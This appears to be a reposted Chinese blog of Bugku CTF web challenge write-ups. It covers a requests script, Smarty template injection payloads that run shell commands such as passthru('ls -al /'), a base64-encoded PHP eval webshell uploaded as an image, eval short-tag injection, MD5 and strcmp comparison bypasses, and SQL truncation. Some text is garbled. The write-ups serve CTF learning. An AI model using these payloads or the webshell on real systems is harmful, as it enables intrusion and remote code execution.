Bugku解题 web【四】
介绍:记录解题过程
28.web19(python requests)
</br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->
- payload(python)
import requests # 引入request库
import base64
url = '''http://114.67.246.176:18501/'''
r = requests.session() # 用session会话保持表达式
headers = r.get(url).headers
mid = base64.b64decode(headers['flag'])
mid = mid.decode()
flag = base64.b64decode(mid.split(':')[1])
data = {'margin': flag}
print(r.post(url, data).text)
flag{cd9d48a1fc5fc5fdfae185a4d0bb628a}
29.聪明的php(Smarty模板注入)
pass a parameter and maybe the flag file's filename is random :>
http://114.67.246.176:17062/?file=index.php
pass a parameter and maybe the flag file's filename is random :> <?php
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
highlight_file('index.php');
foreach ($_GET AS $key => $value)
{
print $key."\n";
if(preg_match("/flag|\/flag/i", $value)){
$smarty->display('./template.html');
}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
$smarty->display('./template.html');
}else{
$smarty->display("eval:".$value);
}
}
}
?>
file index.php
http://114.67.246.176:17062/?file={passthru(%27more%20/../?*%27)}
- 方法二
常用payload
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}
smarty中的{if}标签中可以执行php语句
{if passthru('ls')}{/if}
{if passthru('ls -al /')}{/if}
{if passthru('tac /start.sh')}{/if}
/usr/bin/tail -f /dev/null
done
sleep 1000
do
while test "1" = "1"
export T=$RANDOM # T随机生成数字
FLAG=not_flag
export FLAG=not_flag
chmod 444 /_$T
echo $FLAG > /_$T # $Flag放入根目录下的_T文件下
T=$RANDOM
export T=$RANDOM
service apache2 start
#!/usr/bin/env bash
view-source:http://114.67.246.176:17062/?file={if passthru('ls -al /')}{/if}
- 重点在_7471
- 得到flag
{if passthru('tac /_7471')}{/if}
- 参考:
Bugku web 聪明的php
30.xxx二手交易市场!(上传一句话木马)
描 述: 本人现实碰到的题目,无提示勿问
data:image/jpeg;base64,
- 一句话木马转成base64编码,并把后缀改成php上传,在上传后可以看到具体的上传文件的路径
"data":"\/Uploads\/heads\//be2b07218b68a4bf.php",
data:image/php;base64,<?php@eval($_POST[cmd]); ?>
http://114.67.246.176:19421/Uploads/heads/99cfb146596b31c8.php
- 中国蚁剑连接网站后台查看文件
!!!一句话木马转成base64编码再发送
<?php @eval($_POST['cmd']);?>
PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
31.冬至红包(php代码审计、比较绕过)
提 示: 闪电十六鞭
描 述: flag{内容可在支付宝领取口令红包 共三个先解先得}
- 短标签绕过echo、eval代码注入漏洞、$$绕过特定字符限制
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo '马老师发生甚么事了';
}
echo '<hr>';
highlight_file(__FILE__);
20210221CTF小记之bugkuCTF冬至红包(短标签绕过echo、eval代码注入漏洞、$$绕过特定字符限制)
- payload
?flag=$a=blag;$a{0}=f;111111111111111111111;?><?=$$a;?>
32.sodirty
#!/usr/bin/env node
/**
* Module dependencies.
*/
var app = require('../app');
var debug = require('debug')('app:server');
var http = require('http');
/**
* Get port from environment and store in Express.
*/
var port = normalizePort(process.env.PORT || '3000');
app.set('port', port);
/**
* Create HTTP server.
*/
var server = http.createServer(app);
/**
* Listen on provided port, on all network interfaces.
*/
server.listen(port);
server.on('error', onError);
server.on('listening', onListening);
/**
* Normalize a port into a number, string, or false.
*/
function normalizePort(val) {
var port = parseInt(val, 10);
if (isNaN(port)) {
// named pipe
return val;
}
if (port >= 0) {
// port number
return port;
}
return false;
}
/**
* Event listener for HTTP server "error" event.
*/
function onError(error) {
if (error.syscall !== 'listen') {
throw error;
}
var bind = typeof port === 'string'
? 'Pipe ' + port
: 'Port ' + port;
// handle specific listen errors with friendly messages
switch (error.code) {
case 'EACCES':
console.error(bind + ' requires elevated privileges');
process.exit(1);
break;
case 'EADDRINUSE':
console.error(bind + ' is already in use');
process.exit(1);
break;
default:
throw error;
}
}
/**
* Event listener for HTTP server "listening" event.
*/
function onListening() {
var addr = server.address();
var bind = typeof addr === 'string'
? 'pipe ' + addr
: 'port ' + addr.port;
debug('Listening on ' + bind);
}
- List item
32.web23(php代码审计、比较绕过)
<?php
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
- payload
?id=keyabckeyabcdkey:/a/akeya,
33.web24 (代码审计、MD5碰撞、比较绕过)
描 述: 来源 山科大ctf
- 考点:代码审计、MD5碰撞、比较绕过
- 代码审计
1.1 首页
<html>
<head>
<title></title>
<style type="text/css">
.link {
text-decoration: none;
color: #000;
}
.link:hover {
text-decoration: none;
color: #000;
}
</style>
</head>
<body>
<div align="center">
<p>分手了,纠结再三我没有拉黑她,原因无它,放不下。
<p>终于那天,竟然真的等来了她的消息:“在吗?”
<p>我神色平静,但颤抖的双手却显示出我此刻的激动。“怎么了?有事要我帮忙?”
<p>“怎么,没事就不能联系了吗?”结尾处调皮表情,是多么的陌生和熟悉……
<p>“帮我看看这个...”说着,她发来一个<a class="link" href="code.txt" target="_blank">链接</a>。
<p>不忍心拂她的意就点开了链接,看着屏幕我的心久久不能平静,往事一幕幕涌上心头......
<p>。。。。。。
<p>“我到底做错了什么,要给我看这个!”
<p>“还记得你曾经说过。。。。。。。。”
<h2>PHP是世界上最好的语言</h2>
</div>
</body>
</html>
1.2 code.txt
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
strcmp()函数的使用是比较两个字符串,如果两个字符串完全相等我们就返回0,否则就会有各种返回值,此函数并区分大小写
- 比较绕过
v3[] 存在即可,可任意赋值且!=flag即可
v1[] != v2[]
md5(v
1
)
=
=
m
d
5
(
v1) == md5(
v1)==md5(v2)
- MD5碰撞:
简而言之就是:先得出一个字符串的MD5值,再根据这个值,逆算出另外一个不同的字符串——但是它们的MD5值是一致的。
一个用字典法破解MD5、SHA1的网站
- payload:
/?v1[]=aaa&v2[]=aa&v3[]=iiiii
34. web25(SQL约束攻击)
提 示: hint:SQL约束攻击
描 述: skctf
sql约束攻击(SQL Column Truncation)
sql约束攻击:简而言之就是,当Mysql关闭了strict选项时,输入的字符串超出了长度限制,此时的数据库只返回一个warning信息,但数据插入成功。这个原因造成了sql约束攻击,在sql执行字符串处理时,字符串末尾的空格符将会被删除。也就是说”admin”和”admin “是相等的
注册成功
35. web26(伪造referer字段,伪装成来自google)
描 述: google
37. web27(md5碰撞)
描 述: md5 collision
md5碰撞
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}
}
else{
echo "please input a";
}
?>
找了一个MD5值是0e的就过了
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92693.html